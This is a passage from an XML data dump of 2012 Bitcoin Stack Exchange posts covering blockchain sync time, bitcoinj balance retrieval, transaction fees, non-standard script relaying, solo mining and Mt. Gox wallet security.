not).&lt;/li&gt;&#xA;&lt;li&gt;Encrypted filesystems make it take even longer because verifying blocks is an disk-intensive process.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If you can, use an SSD&lt;/strong&gt;, this speeds it up by a lot. You could be done in a few hours instead of taking all night.&lt;/li&gt;&#xA;&lt;li&gt;Usually this process just takes a while. 24 hours is not uncommon. Best is to leave your computer running during the night, and don't be disappointed when it's still not done in the morning.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helped! Credits to the other answers for some of the bullet points.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="1747" LastEditDate="2013-02-16T22:04:26.853" LastActivityDate="2013-02-16T22:04:26.853" CommentCount="3" CommunityOwnedDate="2012-08-19T22:52:51.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="4475" PostTypeId="1" AcceptedAnswerId="4480" CreationDate="2012-08-18T21:59:19.850" Score="3" ViewCount="269" Body="&lt;p&gt;Normally, a transaction output will contain a list of address + amount.&#xA;Each element in this list has an associate output number, &quot;vout&quot;.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vout=0: addr=m111111, amount=100 &#xA;vout=1: addr=m222222, amount=200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is: would it be legal for a transaction output to contain&#xA;the same target address more than once?  Take for instance the example below, where address &quot;m222222&quot; appears in vout=1 and vout=2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vout=0: addr=m111111, amount=100&#xA;vout=1: addr=m222222, amount=100&#xA;vout=2: addr=m222222, amount=100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this seems silly.  I'm just wondering if it is the sort of&#xA;thing one might encounter &quot;in the wild&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2012-08-19T13:15:03.750" Title="Can the same target address appear more than once on transaction output?" Tags="|transactions|raw|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4476" PostTypeId="2" ParentId="4471" CreationDate="2012-08-19T00:35:59.653" Score="1" Body="&lt;p&gt;As a consumer, the choice of payment method comes down to a tradeoff between convenience and cost.  When a merchant offers credit card payment or cash, oftentimes customers will choose credit card or debit card because it is convenient and costs no more than when paying with cash.  The credit card issuer may even be offering a perk to provide incentive to pay using a credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that is really a subsidy as there are costs to the merchant when payment are made using credit card.  There are tens of billions of dollars that go to payment card networks each year.  Merchants don't actually pay this, they simply add the cost to their prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some merchants either refuse to offer credit card payments, or they offer two sets of prices.  You'll see this at gas stations, where payment for fuel pumped at the lower price must be given in cash, whereas the higher price is charged when payment is credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this &quot;cash discount&quot; isn't seen more often is because credit card companies had built into their agreements a &quot;no surcharge&quot; restriction.  Thus you couldn't add the fee after the sale depending on which payment method was used.  In the U.S., the card companies were just forced to abandon that part of their merchant agreement.  So you may start seeing surcharges when you use a credit card (in states where that isn't prohibited).  This will likely push many towards paying with cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But cash is not always convenient nor cheap.  ATM fees can cost 5% to 10% for the smaller withdrawal amounts for many accountholders.  Merchants have losses due to employee error, theft and management of the cash.  An electronic alternative would be welcomed by both consumers and merchants, if the fees would be less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your merchant accepts only cash or bitcoin, or csah, bitcoin at one price and credit card at another higher price, you won't be asking what benefit bitcoin has but instead you'll be appreciating how it is saving you money at every purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merchants also like bitcoin for additional reason.  There are no chargebacks, so if you as a customer are due a refund, the merchant would need to issue it -- versus today's fraud-laden method where the consumer initiates the chargeback, whether it was founded or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many other advantages to Bitcoin, included here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinmedia.com/bulleted-advantages&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmedia.com/bulleted-advantages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-19T00:35:59.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4477" PostTypeId="1" AcceptedAnswerId="4479" CreationDate="2012-08-19T06:16:42.960" Score="10" ViewCount="2485" Body="&lt;p&gt;I am playing around with bitoinj and I can't seem to even get the most basic functionality running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do: I have one wallet with one address. I want to dowload blockchain and from that, get the wallet balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did is following code (in scala, but it is more or less the same thing as Java), the wallet is in &lt;code&gt;address.walet&lt;/code&gt;, I want the blockain to be saved at &lt;code&gt;saved.blockchain&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val params = NetworkParameters.prodNet&#xA;val walletFile = new java.io.File(&quot;address.wallet&quot;);&#xA;val wallet = Wallet.loadFromFile(walletFile)&#xA;&#xA;val key = wallet.keychain.get(0)&#xA;val address:String = key.toAddress(params).toString&#xA;println(&quot;ADDRESS IS : &quot;+address)&#xA;&#xA;val blockStore = new BoundedOverheadBlockStore(params, new java.io.File(&quot;saved.blockchain&quot;))&#xA;val chain = new BlockChain(params, wallet, blockStore)&#xA;val peerGroup = new PeerGroup(params, chain)&#xA;peerGroup.setUserAgent(&quot;BitToy&quot;, &quot;0.1&quot;)&#xA;&#xA;peerGroup.addPeerDiscovery(new DnsDiscovery(params))&#xA;peerGroup.addWallet(wallet)&#xA;println(&quot;START DOWNLOADING BLOCKCHAIN&quot;)&#xA;&#xA;peerGroup.start()&#xA;peerGroup.downloadBlockChain()&#xA;peerGroup.stop()&#xA;println(&quot;DONE; BALANCE IS :&quot;)&#xA;println(wallet.getBalance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have balance on the address in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I run it for the first time, the blockchain (or, rather, the headers) gets downloaded and I see the correct balance. &lt;em&gt;However&lt;/em&gt;, when I run it for second time, I just see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADDRESS IS : [correct address here]&#xA;Aug 19, 2012 8:06:00 AM com.google.bitcoin.store.BoundedOverheadBlockStore load&#xA;INFO: Reading block store from saved.blockchain&#xA;Aug 19, 2012 8:06:00 AM com.google.bitcoin.store.BoundedOverheadBlockStore load&#xA;INFO: Read chain head from disk: 00000000000001b10c347b5ec05f9a1910d541905c5cd8827784a5c3e0695c95&#xA;Aug 19, 2012 8:06:00 AM com.google.bitcoin.core.BlockChain &amp;lt;init&amp;gt;&#xA;INFO: chain head is at height 194575:&#xA;v1 block: &#xA;   previous block: 00000000000005ac50dc06021362cd4c284fafd4a1bdb7bad2849c978a875bb1&#xA;   merkle root: 158aedd0bc3386c7686f85ab933fd9e3ecb38e348b121ed0e61e2e776eda04a1&#xA;   time: [1345356028] Sun Aug 19 08:00:28 CEST 2012&#xA;   difficulty target (nBits): 436709470&#xA;   nonce: 4238997601&#xA;&#xA;START DOWNLOADING BLOCKCHAIN&#xA;Aug 19, 2012 8:06:31 AM com.google.bitcoin.discovery.DnsDiscovery getPeers&#xA;INFO: DNS lookup for dnsseed.bitcoin.dashjr.org failed.&#xA;Aug 19, 2012 8:06:36 AM com.google.bitcoin.core.TCPNetworkConnection$NetworkHandler channelConnected&#xA;INFO: Announcing ourselves as: /BitCoinJ:0.6-SNAPSHOT/BitMessage:0.1/&#xA;Aug 19, 2012 8:06:41 AM com.google.bitcoin.core.Peer$PeerHandler exceptionCaught&#xA;INFO: com.google.bitcoin.core.Peer$PeerHandler@193f6e2 - No route to host&#xA;Aug 19, 2012 8:06:46 AM com.google.bitcoin.core.Peer$PeerHandler exceptionCaught&#xA;INFO: com.google.bitcoin.core.Peer$PeerHandler@61736e - No route to host&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.TCPNetworkConnection$NetworkHandler channelConnected&#xA;INFO: Announcing ourselves as: /BitCoinJ:0.6-SNAPSHOT/BitMessage:0.1/&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.PeerGroup handleNewPeer&#xA;INFO: Peer(seed.bitcoin.sipa.be/50.130.4.89:8333): New peer&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.PeerGroup handleNewPeer&#xA;INFO:   starting block chain download&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.PeerGroup setDownloadPeer&#xA;INFO: Setting download peer: Peer(seed.bitcoin.sipa.be/50.130.4.89:8333)&#xA;Downloading block chain of size 0. &#xA;Done downloading block chain&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.Peer blockChainDownload&#xA;INFO: Peer(seed.bitcoin.sipa.be/50.130.4.89:8333): blockChainDownload(0000000000000000000000000000000000000000000000000000000000000000) current head = 00000000000001b10c347b5ec05f9a1910d541905c5cd8827784a5c3e0695c95&#xA;DONE; BALANCE IS :&#xA;0&#xA;Aug 19, 2012 8:06:52 AM com.google.bitcoin.core.PeerGroup$PeerGroupThread run&#xA;INFO: shutdown start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the balance is zero. If I delete the saved blockchain and let it re-download again, it works again, but only for one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="1760" LastEditDate="2012-08-19T06:31:11.353" LastActivityDate="2023-07-10T21:00:53.310" Title="Getting balance/downloading blockhain with bitcoinj" Tags="|bitcoinj|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4478" PostTypeId="2" ParentId="4471" CreationDate="2012-08-19T08:18:05.193" Score="0" Body="&lt;p&gt;With Bitcoin the user does not give out any sensitive creditcard information. Instead of giving out the information so the merchant can use this to withdraw money. &#xA;The user sends their money without giving out any information.&#xA;Thus there is no information for a hacker to steal or for an employee to abuse or sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the network can have much lower fees. When you compare the fees a creditcard charges 100 000% percent higher fees per transaction than the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another advantage is that its free to get a Bitcoin adress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a projekt in the work, that might make it possible to use a creditcard to pay with Bitcoins. Called Openpay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it might become possible to use Bitcoin at any shop that takes VISA/Mastercard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the real benefit is that the Bitcoins in a Bitcoin network only belongs to the owner controlling the adress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As opposed to having the money in a bank, in which the money belongs to the bank.&#xA;What you see on your bank account is how much money you have lended out to the bank and for this they give you an interest rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, Bitcoins is the only way to own your own money in electronic form.&lt;/p&gt;&#xA;" OwnerUserId="1763" LastActivityDate="2012-08-19T08:18:05.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4479" PostTypeId="2" ParentId="4477" CreationDate="2012-08-19T13:05:39.490" Score="2" Body="&lt;p&gt;OK, now I get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoinj saves only the headers. And - what I did &lt;strong&gt;not&lt;/strong&gt; know - you &lt;strong&gt;&lt;em&gt;can't&lt;/em&gt;&lt;/strong&gt; get the balance with just headers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more ingormation you can see the exact description what is in the headers here &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I &lt;strong&gt;can&lt;/strong&gt; do, however, is saving the wallet right afterwards. Which I will do.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;previous &quot;answer&quot;/thinking out loud:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am poking around in source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the important part is when &lt;code&gt;sendTransactionsToWallet&lt;/code&gt; is called in &lt;code&gt;BlockChain.java&lt;/code&gt; - but it gets only called during &lt;code&gt;connectBlock&lt;/code&gt; and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;connectBlock&lt;/code&gt; is called only during &lt;code&gt;add&lt;/code&gt;. And the only &lt;code&gt;add&lt;/code&gt;ed blocks are the new blocks from the network, not the ones from BlockStore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I will look around the code a bit more.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am not sure, what terrible would happen, if I rewrote the constructor of &lt;code&gt;BlockChain.java&lt;/code&gt; from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Constructs a BlockChain connected to the given list of wallets and a store.&#xA; */&#xA;public BlockChain(NetworkParameters params, List&amp;lt;Wallet&amp;gt; wallets,&#xA;                  BlockStore blockStore) throws BlockStoreException {&#xA;    this.blockStore = blockStore;&#xA;    chainHead = blockStore.getChainHead();&#xA;    log.info(&quot;chain head is at height {}:\n{}&quot;, chainHead.getHeight(), chainHead.getHeader());&#xA;    this.params = params;&#xA;    this.wallets = new ArrayList&amp;lt;Wallet&amp;gt;(wallets);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to (writing from my head, getters/setters might not be right, etc)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Constructs a BlockChain connected to the given list of wallets and a store.&#xA; */&#xA;public BlockChain(NetworkParameters params, List&amp;lt;Wallet&amp;gt; wallets,&#xA;                  BlockStore blockStore) throws BlockStoreException {&#xA;    this.blockStore = blockStore;&#xA;    chainHead = blockStore.getChainHead();&#xA;    log.info(&quot;chain head is at height {}:\n{}&quot;, chainHead.getHeight(), chainHead.getHeader());&#xA;    this.params = params;&#xA;    this.wallets = new ArrayList&amp;lt;Wallet&amp;gt;(wallets);&#xA;    StoredBlock sBlock = blockStore.getChainHead();&#xA;    Sha256Hash prevHash = sBlock.header.prevBlockHash();&#xA;    while (prevHash!=Sha256Hash.ZERO_HASH) {&#xA;        for (Wallet wallet:wallets){&#xA;            sendTransactionsToWallet(sBlock, NewBlockType.SIDE_CHAIN, wallet, sBlock.transactions); &#xA;        }&#xA;        sBlock = blockStore.get(hash);&#xA;        prevHash = sBlock.header.prevBlockHash();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but again, I don't want to reinvent the wheel or anything.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="1760" LastEditDate="2012-08-19T21:54:02.700" LastActivityDate="2012-08-19T21:54:02.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4480" PostTypeId="2" ParentId="4475" CreationDate="2012-08-19T13:15:03.750" Score="4" Body="&lt;p&gt;There is no protocol rule which forbids having multiple outputs with the same bitcoin address. Here is an example of such a transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx-index/16459554/3baf2227efd23449822e181372389af762c26a4567362ef174fa8659cf61eb20?show_adv=true&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx-index/16459554/3baf2227efd23449822e181372389af762c26a4567362ef174fa8659cf61eb20?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not common to see this as there is no point in having mutiple outputs when it can be done in one, it just makes the transaction larger and hence increases transaction fees.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-08-19T13:15:03.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4481" PostTypeId="2" ParentId="4214" CreationDate="2012-08-19T14:02:58.957" Score="7" Body="&lt;p&gt;If you want to keep your private keys secret (on your phone, that is), I'd recommend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot;&gt;Bitcoin Wallet for Android&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app also does not imply any trust in single servers, as it manages the block chain on-device.&lt;/p&gt;&#xA;" OwnerUserId="423" LastActivityDate="2012-08-19T14:02:58.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4482" PostTypeId="1" AcceptedAnswerId="4489" CreationDate="2012-08-19T23:39:23.310" Score="8" ViewCount="16844" Body="&lt;p&gt;I know it's pointless. I just want to learn how to do it. Are there any guides out there?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="5406" LastEditDate="2016-01-23T12:53:30.263" LastActivityDate="2016-01-23T12:53:30.263" Title="How do I solo mine on a mac?" Tags="|solo-mining|cpu-mining|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4483" PostTypeId="1" AcceptedAnswerId="4484" CreationDate="2012-08-20T01:04:56.953" Score="10" ViewCount="2620" Body="&lt;p&gt;I am developing a Bitcoin application, so I am sending a lot of &quot;toy&quot; transactions for testing, with 0 fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems that those take &lt;em&gt;forever&lt;/em&gt; to get confirmed. (Right now I am waiting 45 minutes for one transaction to get confirmed. Previously it was about 30 minutes.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my suspicion right, or am I doing something wrong? How important is the fee for miners? Do they preferentiate? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I doing something wrong (not broadcasting to enough nodes, maybe?)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And do &lt;em&gt;nodes&lt;/em&gt;, that aren't miners (with official client I presume), preferentiate to send around transactions with fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edit: note that the question was written in 2012, when the blocks were still empty.)&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="1760" LastEditDate="2017-03-24T12:54:45.703" LastActivityDate="2017-03-24T12:54:45.703" Title="How important is the fee for speed of confirmation?" Tags="|transactions|transaction-fees|confirmations|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4484" PostTypeId="2" ParentId="4483" CreationDate="2012-08-20T01:12:08.533" Score="7" Body="&lt;p&gt;It seems like there is some policy against free transactions in official client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some anti-spam protections, which my toy transactions &lt;em&gt;exactly&lt;/em&gt; meet (low transactions, recently accepted coins, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=63553.0&quot;&gt;https://bitcointalk.org/index.php?topic=63553.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot;&gt;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="1760" LastEditDate="2012-08-20T01:24:55.313" LastActivityDate="2012-08-20T01:24:55.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4486" PostTypeId="1" AcceptedAnswerId="4488" CreationDate="2012-08-20T06:27:39.477" Score="16" ViewCount="1269" Body="&lt;p&gt;I am playing with bitcoin transaction a bit now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question. Normally, the output script looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 (hash) OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that is understandable. However, when I &lt;em&gt;slightly&lt;/em&gt; change the script with an outgoing translation to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_DROP OP_DUP OP_HASH160 (hash) OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this transaction is never relayed (as far as I can say) and never reaches any miner, even when it's 100% legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on? Why is it not relayed? I even added &lt;em&gt;quite&lt;/em&gt; large fee on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a second question - &lt;em&gt;if&lt;/em&gt; my suspicion is correct and it is actually never relayed - what would happen if some miner actually accepted it and this transaction ended in the blockchain? Would it be a valid transaction? Would the client be able to &quot;see it&quot; when he is not able to relay it?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="5757" LastEditDate="2014-07-15T22:14:02.370" LastActivityDate="2015-05-11T00:12:22.377" Title="Transaction with slightly changed script is never relayed" Tags="|transactions|script|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4487" PostTypeId="2" ParentId="4483" CreationDate="2012-08-20T07:36:51.953" Score="4" Body="&lt;p&gt;Similar to you, I send a lot of small transactions to test my code. I find if I add a fee of a milli (0.001 BTC) they normally get in the next block but any less than that and you start having to wait. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-08-20T07:36:51.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4488" PostTypeId="2" ParentId="4486" CreationDate="2012-08-20T07:46:51.623" Score="15" Body="&lt;p&gt;The standard client will not relay non-standard transactions. However, if you get them directly to a miner that accepts them, clients will process them correctly and the transaction will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send your transactions to &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot;&gt;173.242.112.53&lt;/a&gt;. This is a server run by &lt;a href=&quot;http://eligius.st/wiki/index.php/Eligius_mining_pool&quot;&gt;Eligius&lt;/a&gt; that will relay all valid transactions and they will include even non-standard transactions in the blocks they mine. Others who are willing to relay or include free and non-standard transactions also tend to link to this node, so it can get your transaction included in blocks mined by other pools as well.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-20T07:46:51.623" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4489" PostTypeId="2" ParentId="4482" CreationDate="2012-08-20T08:43:45.227" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;For Mac OSX users, you must have Snow Leopard (10.6) or newer&#xA;installed. &lt;/li&gt;&#xA;&lt;li&gt;A fully-connected BitCoin wallet. see &lt;a href=&quot;http://bitcoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If this is the first time you have launched BitCoin, it must&#xA;download and verify all the existing blocks in the system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; This can&#xA;    take an hour or longer - just ignore it for a while.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Update: since the time of this post the block chain has grown It can take several days on a slow connection to download and is currently pushing past 15GB  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install DiabloMiner see&#xA;&lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner/wiki/Solo-Mining&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Diablo-D3/DiabloMiner/wiki/Solo-Mining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1768" LastEditorUserId="15368" LastEditDate="2014-04-21T10:43:21.070" LastActivityDate="2014-04-21T10:43:21.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4490" PostTypeId="2" ParentId="4477" CreationDate="2012-08-20T08:47:22.170" Score="0" Body="&lt;p&gt;I thought I would mention that (mainly to save bandwidth) I have added a simple caching option into MultiBit where it simply saves the blocks received into a directory, each block is called [hash of block].block&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this to grab the transactions etc. as you want later.  Of course it takes up space!&#xA;It is in the MultiBit v0.5 branch. The main controlling class is CacheManager. &#xA;It might be useful to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bloom filter work Matt Corrallo is doing to filter the tx at the server side is IMHO the right way to manage the size of the block chain - this is just a stop gap until that gets into bitcoinj. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-08-20T08:47:22.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4491" PostTypeId="2" ParentId="3759" CreationDate="2012-08-20T08:52:17.647" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitCoinJ&lt;/a&gt; is a Simplified Payment Verification (SPV) client library&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that it only downloads the headers for transactions, and only those that are relevant to the private keys contained in its wallet only. This greatly reduces the blockchain download (very quick to get started), but at the cost of not seeing all the other transactions (reduced overall network security).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in short, you can't download an arbitrary transaction through BitCoinJ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to answer your requirement have you considered just using the &lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info API&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-08-20T08:52:17.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4493" PostTypeId="2" ParentId="3199" CreationDate="2012-08-20T12:49:47.623" Score="2" Body="&lt;p&gt;I already did working prototype for one bitcoind (with one copy of blockchain) managing multiple wallets: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=71542.msg96212&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=71542.msg96212&lt;/a&gt; It is IMHO easiest thing to to with current codebase and it would fulfill the goal to provide for multiple users' wallets independently while using resources for only one running bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the discussion around it died somehow, looks like nobody tried the prototype and I got only some private inquiries.&lt;/p&gt;&#xA;" OwnerUserId="1545" LastActivityDate="2012-08-20T12:49:47.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4494" PostTypeId="2" ParentId="2743" CreationDate="2012-08-20T18:33:35.173" Score="6" Body="&lt;p&gt;Mt Gox is large enough to attract regular hackers. I had my account liquidated recently by a thief. Whereas I think some of their extra security apps might be beneficial (e.g. Yubikey) I thought a $25 investment to protect a $50 account was silly. Now I'm $50 lighter, so maybe it was not as unwarranted as I first thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: Mind your security. My password was not traditionally weak, but it was used to log-in and liquidate my account with 3 transactions happening in about 25 seconds. Therefore I'd not use them for wallet services without a bit more than 1 password between me and all my assets being pulled by an automated system.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastEditorUserId="1006" LastEditDate="2013-07-02T22:49:19.697" LastActivityDate="2013-07-02T22:49:19.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4495" PostTypeId="2" ParentId="2743" CreationDate="2012-08-20T19:05:49.677" Score="6" Body="&lt;p&gt;Mt. Gox operates a hosted (shared) EWallet.  That means that the bitcoin address provided to you for making deposits is &lt;strong&gt;not your address&lt;/strong&gt;, it is instead Mt. Gox's address that they will monitor and credit your account for for any coins received at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to withdraw, you are entirely at Mt. Gox's mercy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their terms of service, shown when you first sign up, include verbiage that justifies nearly any action they take with your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now they have, for the most part, been fair in their dealings, but why oh why would you want to place your bitcoins, those units of digital currency you worked so very hard to acquire, into the hands of someone else who insists on a usage policy that gives them all the power and you none?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use a hybrid EWallet  (e.g., Blockchain.info/wallet or Strongcoin.com ) or an SPV client (e.g., Electrum, Bitcoin Spinner for Android) then your Bitcoin address is yours.  Blockchain.info only stores and encrypted copy of your wallet on their servers, so they don't even have access to your coins.   Bitcoin Spinner stores the private key that all your bitcoin addresses derives, and the back end server that it connects to does not have access to that key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That those are the reasons against using Mt. Gox as an EWallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons why you might include convenience.  Mt. Gox's hosted (shared) EWallet offers security and convenience:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The ability to import private keys and sweep them to your Mt. Gox account.  This is a useful feature.&lt;/li&gt;&#xA;&lt;li&gt;Multi-factor authentication.  You can limit access so that even from a compromised computer you can likely use Mt. Gox E-Wallet without loss of funds.  (The corner case is where the compromise is specifically targeted and uses the one-time password to 